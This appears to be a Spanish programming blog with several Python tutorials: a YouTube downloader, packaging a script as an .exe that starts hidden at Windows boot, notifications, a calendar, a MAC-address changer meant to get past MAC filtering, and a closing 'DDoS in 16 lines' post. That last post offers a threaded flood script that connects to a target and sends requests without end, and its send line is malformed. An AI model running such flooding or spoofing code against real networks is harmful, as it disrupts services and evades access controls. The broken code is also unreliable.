Descargar vídeo o audio de Youtube usando Python

Esta aplicación hecha en PYthon permite descargar vídeos o audio de Youtube seleccionando la calidad. También se puede descargar solo el audio de un vídeo y puede hacerse link a link o en bucle usando un fichero.

Funcionamiento 🔧

Podemos descargar los vídeos uno a uno usando su link a Youtube o poner las urls en un fichero de texto y que la aplicación los descargue en bucle.

Al iniciar la aplicación nos pide que seleccionemos una de las dos opciones:

Descarga un solo link

Nos pedirá la url del vídeo:

Ahora tendremos que seleccionar una de estas tres opciones:

  • Descarga rápida de vídeo y audio: descarga el vídeo junto con el audio en baja calidad
  • Descargar vídeo seleccionando la calidad: nos mostrará las calidades disponibles en el vídeo para que seleccionemos una. Esta opción es la que más tarda porque tiene que descargar el vídeo por un lado y el audio por otro para mergearlo después. Este proceso es transparente para el usuario y se hace de forma automática.
  • Descargar audio: descarga únicamente el audio de la canción.

Descarga en bucle

Nos pedirá la ruta del fichero de texto que contiene los enlaces:

El fichero tendrá este formato:

Cuando el proceso acabe, veremos los vídeos o audios en la ruta configurada.

Funcionamiento 💻

Vamos a analizar por encima el código.

En la función principal simplemente mostramos un menú para pedir al usuario si desea descargar un solo vídeo o varios a través de un fichero de texto con enlaces. En cualquiera de las dos opciones el link se guarda en una lista.

if __name__ == "__main__":
    tarea = 0
    job = 0
    enlaces = []    
    parent_dir = cfg.get_ruta_descargas()  # Obtener ruta donde se guardan las descargas

    while tarea != '3':        
        enlaces.clear()
        tarea = menu_inicio()  # Mostrar menú inicial
        loop = False

        clear()

        # Llenar una lista con los enlaces a descargar
        if tarea == '1':  # Un solo vídeo
            enlaces.append(pide_url())            
        elif tarea == '2': # Fichero de texto
            loop = True
            ruta_fichero = input('Ruta fichero enlaces: ')
            enlaces = procesa_fichero(ruta_fichero)        
        
        # Seleccionar qué tipo de descarga hacer
        while job not in ['1', '2', '3']:
            clear()
            job = seleccionar_accion()

        [inicia_proceso_descarga(x, job, loop) for x in enlaces]

    print_proceso_terminado()

Del bloque de arriba, la línea que inicia el proceso de descarga es esta (se recorre la lista usando list comprehension y le pasa cada link a la función “inicia_proceso_descarga”):

[inicia_proceso_descarga(x, job, loop) for x in enlaces]

Este bloque de abajo es el que lee el fichero e inserta en la lista cada enlace:

def procesa_fichero(ruta) -> list:
    list_enlaces = []

    file_object = open(ruta, 'r')

    [list_enlaces.append(linea) for linea in file_object]    

    file_object.close()

    return list_enlaces

Esta parte es la que permite descargar el vídeo + audio de forma rápida (opción 1), descargar el vídeo y audio permitiendo seleccionar la calidad (opción 3) y descargar solo el audio (opción 2):

if job == '1':  # Vídeo y audio rápido
        video_y_audio.download(parent_dir + '/video')
        print_proceso_terminado()
    elif job == '3': # Solo audio
        ruta_fin = yt.streams.get_audio_only().download(parent_dir + '/audio')
        audioclip = AudioFileClip(ruta_fin)                
        audioclip.write_audiofile(audioclip.filename.replace('.mp4', '.mp3'))

        os.remove(audioclip.filename)

        print_proceso_terminado()
    elif job == '2':  # Descargar vídeo y audio seleccionando calidad    
        num_video_descargar = 1

        if not loop:
            print('')
            print('Seleccionar vídeo (1..{0})'.format(len(vids)))    

            for video in vids:
                print('    ({1}) - {0}'.format(video, contador))
                contador += 1

            print('')

            num_video_descargar = int(input('Nº vídeo: '))    

        num_video_descargar -= 1    

        nombre_video = vids[num_video_descargar].default_filename
        nombre_video_final = 'f_' + nombre_video
        vids[num_video_descargar].download(parent_dir + '/video')

        yt.streams.get_audio_only().download(parent_dir + '/audio')

        audioclip = AudioFileClip(parent_dir + '/audio/' + nombre_video)

        videoclip2 = VideoFileClip(parent_dir + '/video/' + nombre_video)
        videoclip2 = videoclip2.set_audio(audioclip)
        
        videoclip2.write_videofile(parent_dir + '/video/' + nombre_video_final)    

        os.remove(videoclip2.filename)
        os.remove(audioclip.filename)

La parte más enrevesada es la opción 2 (descargar vídeo y audio seleccionando la calidad) porque Youtube no tiene el vídeo + audio en el mismo archivo, lo que hace el programa es descargar el vídeo por un lado, el audio por otro y mergearlos en un solo archivo, después borra los ficheros de vídeo y audio que se descargaron por separado.

La parte del audio, también tiene un poco de miga, ya que el audio se descarga en formato mp4 y el programa lo convierte a mp3 borrando después el mp4 original.

Aquí está el repositorio de GitHub con todo el código. https://github.com/Dynam1co/Python_youtube_video_downloader

Generar .exe de un script Python que se ejecute en segundo plano al inicio de Windows

En ocasiones necesitamos que un script en Python sea usado por un cliente final, puede ser que este usuario no tenga el intérprete de Python instalado en el sistema o no tenga los conocimientos necesarios para ejecutar el programa desde la terminal o simplemente por comodidad siempre es más fácil hacer doble click en un .exe.

Generar un ejecutable de un script de Python es muy fácil y existen varias librerías capaces de hacerlo, la más famosa es PyInstaller pero deja de sernos útil si usamos librerías que no son del sistema ya que no es capaz de empaquetarlas y el ejecutable no funcionaría. Por eso mismo vamos a hablar de cx_Freeze.

El funcionamiento es más o menos el mismo que PyInstaller, pero la diferencia es que esta sí que permite generar ejecutables que usen librerías de terceros.

Lo primero que tenemos que hacer es instalarla (recomendable hacerlo en el entorno virtual del proyecto con pip):

$ pip install cx_Freeze

Ahora nos vamos a la ruta donde esté nuestro script para generar su ejecutable y ejecutamos el comando:

$ cxfreeze script.py --target-dir dist

Si queremos que se ejecute en segundo plano sin mostar la ventana de la termina, el comando sería el siguiente:

$ cxfreeze script.py --base-name=Win32GUI --target-dir dist

Cuando termine veremos que se ha creado un directorio llamado dist y dentro estará el ejecutable, si nuestro script se llamaba script.py el ejecutable se llamará script.exe. También habrá otros ficheros necesarios para la ejecución:

Configurarlo para que se inicie automáticamente con el sistema

En mi caso, mi programa debe iniciarse automáticamente con el sistema porque tiene que ir buscando contínuamente ficheros en una ruta sin que tenga que intervenir el usuairo. Hacerlo es muy fácil, solo tenemos que pulsar con el botón derecho del ratón sobre el .exe y crearlo como acceso directo en el escritorio:

Ahora desde la ventana ejecutar Tecla Windows+R escribimos: shell:startup

Se nos abrirá una ventana que (si lo hay) contendrá los programas que se ejecutan al inicio de Windows. Movemos ahí el acceso directo que habíamos creado en el escritorio:

Y listo, así de fácil es crear un ejecutable de un script Python que se ejecute al inicio y en segundo plano.

Mostrar notificaciones de Windows con Python

Es muy útil mostrar notificaciones estándares del sistema cuando se completa alguna tarea o se ejecuta un evento.

Hacerlo en Windows con Python es muy sencillo y solo tenemos que hacer uso de la librería win10toast. Aquí está toda la información sobre la librería.

Primero deberemos instalarla en nuestro entorno virtual:

pip install win10toast

Ya en nuestro script en Python, la importamos y hacemos uso de ella:

from win10toast import ToastNotifier

if __name__ == "__main__":
    toaster = ToastNotifier()

    toaster.show_toast(
        "Hello World!!!",
        "Notificación de 10 segundos con Python",
        icon_path="python_icon.ico",
        duration=10
    )

Yo he decidido usar un icono con el logo de Python, pero se puede usar la imagen por defecto sustituyendo “python_icon.ico” por “”.

La notificación se vería así:

En este repositorio de Git Hub está el código y el icono de Python.

Mostrar calendario en la terminal con Python

En este artículo veremos cómo mostrar el calendario del mes y año que queramos en la terminal usando Python.

No hace falta instalar ninguna librería, ya que usaremos una que viene en el sistema llamada calendar.

Este sería el código necesario:

import calendar

if __name__ == "__main__":
    year = int(input('Escribe el año: '))
    month = int(input('Escribe el mes: '))

    print('\n')
    print(calendar.month(year, month))

La salida de este script sería la siguiente:

Calendario mostrado en terminal

También podemos imprimir el calendario completo del año actual iterando sobre una lista de meses. En este caso, voy a poner un ejemplo que lo hace usando programación funcional por dar otro punto de vista. Si obviamos los imports y la declaración del main, mostramos el calendario completo en una sola línea de código:

import calendar
from datetime import datetime

if __name__ == "__main__":
    print(list(map(lambda x : print(calendar.month(datetime.now().year, x)), range(1, 13))))

Cambiar dirección MAC con Python

Muchas redes tienen filtrado por MAC para impedir la conexión de dispositivos desconocidos a dicha red.

En esta entrada veremos cómo podemos cambiar la dirección MAC de nuestro equipo por una que nosotros elijamos con un sencillo script en Python.

Lo primero es conocer la interfaz de red a la que queremos cambiar la dirección MAC, para ello, desde la terminal ejecutamos:

$ ifconfig

y veremos algo como esto:

Salida de ifconfig

Vemos que la interfaz de red en este caso es eth0 y que la dirección MAC actual es 08:00:27:90:18:59

Analizando el código

Vamos a ver el código del script función por función.

Primero las librerías necesarias. No debería hacer falta instalarlas porque suele traerlas el sistema por defecto, son las siguientes:

  • subprocess: para ejecutar comando sobre el sistema
  • optparse: para las opciones del script
  • re: para testear con expresiones regulares que la nueva MAC cumpla con el formato válido
  • os: para saber si el usuario es root

Primero las importamos:

import subprocess
import optparse
import re
import os

Comprueba con una expresión regular, que la dirección MAC que hemos elegido tiene el formato correcto:

def get_current_mac(interface):
    ifconfig = subprocess.check_output(['ifconfig', interface])
    mac_address = re.search(r'\w\w:\w\w:\w\w:\w\w:\w\w:\w\w', str(ifconfig))

    if mac_address:
        return mac_address.group(0)

    raise Exception('Sorry, MAC address not found')

Crea el menú de consola de nuestra aplicación:

def get_arguments():
    parser = optparse.OptionParser()

    parser.add_option('-i', '--interface', dest='interface', help='Interface to change its MAC addr')
    parser.add_option('-m', '--mac', dest='new_mac', help='New MAC addr')

    (options, arguments) = parser.parse_args()

    if not options.interface:
        parser.error('[!] Please specify an interface, use --help for more info.')
    elif not options.new_mac:
        parser.error('[!] Please specify a MAC, use --help for more info.')

    return options

Cambia la MAC por la que hemos establecido:

def change_mac(interface, new_mac):
    print('Changing MAC address form {} to {}'.format(interface, new_mac))
    subprocess.call(['ifconfig', interface, 'hw', 'ether', new_mac])

Para la interfaz de red seleccionada para poder cambiar la MAC:

def down_interface(interface):
    print('Turning off network interface: {}'.format(interface))
    subprocess.call(['ifconfig', interface, 'down'])

Levanta la unidad de red seleccionada:

def up_interface(interface):
    print('Turning on network interface: {}'.format(interface))
    subprocess.call(['ifconfig', interface, 'up'])

Función principal, lo primero que hace (línea 2) es comprobar que seamos root, después inicia el procedimiento de cambio de MAC usando las funciones que hemos descrito anteriormente:

if __name__ == "__main__":
    if os.geteuid() == 0:  # Check super user
        options = get_arguments()
        current_mac = get_current_mac(options.interface)

        down_interface(options.interface)

        print('Current MAC: {}'.format(current_mac))
        change_mac(options.interface, options.new_mac)

        up_interface(options.interface)

        if current_mac != options.new_mac:
            print('MAC address was succesfully changed to {}'.format(options.new_mac))
        else:
            raise Exception('It was not possible to change the MAC address')
    else:
        raise Exception('Pemission denied')

Y este sería el código completo:

import subprocess
import optparse
import re
import os


def get_current_mac(interface):
    ifconfig = subprocess.check_output(['ifconfig', interface])
    mac_address = re.search(r'\w\w:\w\w:\w\w:\w\w:\w\w:\w\w', str(ifconfig))

    if mac_address:
        return mac_address.group(0)

    raise Exception('Sorry, MAC address not found')


def get_arguments():
    parser = optparse.OptionParser()

    parser.add_option('-i', '--interface', dest='interface', help='Interface to change its MAC addr')
    parser.add_option('-m', '--mac', dest='new_mac', help='New MAC addr')

    (options, arguments) = parser.parse_args()

    if not options.interface:
        parser.error('[!] Please specify an interface, use --help for more info.')
    elif not options.new_mac:
        parser.error('[!] Please specify a MAC, use --help for more info.')

    return options


def change_mac(interface, new_mac):
    print('Changing MAC address form {} to {}'.format(interface, new_mac))
    subprocess.call(['ifconfig', interface, 'hw', 'ether', new_mac])


def down_interface(interface):
    print('Turning off network interface: {}'.format(interface))
    subprocess.call(['ifconfig', interface, 'down'])


def up_interface(interface):
    print('Turning on network interface: {}'.format(interface))
    subprocess.call(['ifconfig', interface, 'up'])


if __name__ == "__main__":
    if os.geteuid() == 0:  # Check super user
        options = get_arguments()
        current_mac = get_current_mac(options.interface)

        down_interface(options.interface)

        print('Current MAC: {}'.format(current_mac))
        change_mac(options.interface, options.new_mac)

        up_interface(options.interface)

        if current_mac != options.new_mac:
            print('MAC address was succesfully changed to {}'.format(options.new_mac))
        else:
            raise Exception('It was not possible to change the MAC address')
    else:
        raise Exception('Pemission denied')

¿Cómo lo ejecutamos?

Primero tenemos que cambiar al usuario root para no tener problemas de permisos. Basta con ejecutar el comando:

$ sudo su

Si queremos ver la ayuda:

$ python3 main.py -h

Nos saldrá lo siguiente:

Mostrando la ayuda del script

Para cambiar la dirección MAC por la que nosotros queramos:

$ python3 main.py -i eth0 -m 08:00:27:90:18:79

eth0 es la interfaz que hemos visto al principio, a esta interfaz le cambiaremos la MAC por la que especificamos en el comando -m (08:00:27:90:18:79).

El resultado sería el siguiente:

Como vemos, estos son los pasos que ha seguido el programa:

  1. Apaga la interfaz de red etch0
  2. Dice cuál es nuestra MAC actual
  3. Cambia la dirección MAC
  4. Vuelve a levantar la unidad de red
  5. Nos avisa de que el cambio está hecho

En este repositorio de GitHub está el proyecto completo.

Ataque DDOS en 16 líneas de Python

Un ataque DOS, en seguridad informática significa “Ataque de denegación de servicio”, y se basan en saturar el ancho de banda de un equipo a base de hacer miles de peticiones al mismo tiempo.

Es script que voy a mostrar a continuación, pasaría a ser un ataque DOS si se ejecuta en una sola máquina. Los ataques DOS son más fáciles de detener y normalmente los proveedores de hosting están prevenidos para ellos y simplemente bloquean la IP desde la que se está lanzando el ataque.

En cambio, si el ataque se lanza desde varios ordenadores a la vez, estaríamos hablando de un ataque DDOS, éstos son más difíciles de detener, pues son varios los ordenadores que realizan llamadas masivas y constantes al servidor. Cada uno de ellos con una dirección IP determinada y situados en diferentes lugares del mundo.

import socket
import threading

ip = '127.0.0.1'
port = 8080

def attack():
	while True:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((ip, port))
		s.sendto(('GET /' + ip + ' HTTP/1.1\r\n').encode('ascii', (ip, port)))
		
# crea 1000 hilos que llaman al mismo endpoint infinitamente
for _ in range(1000):
	thread = threading.Thread(target=attack)
	thread.start()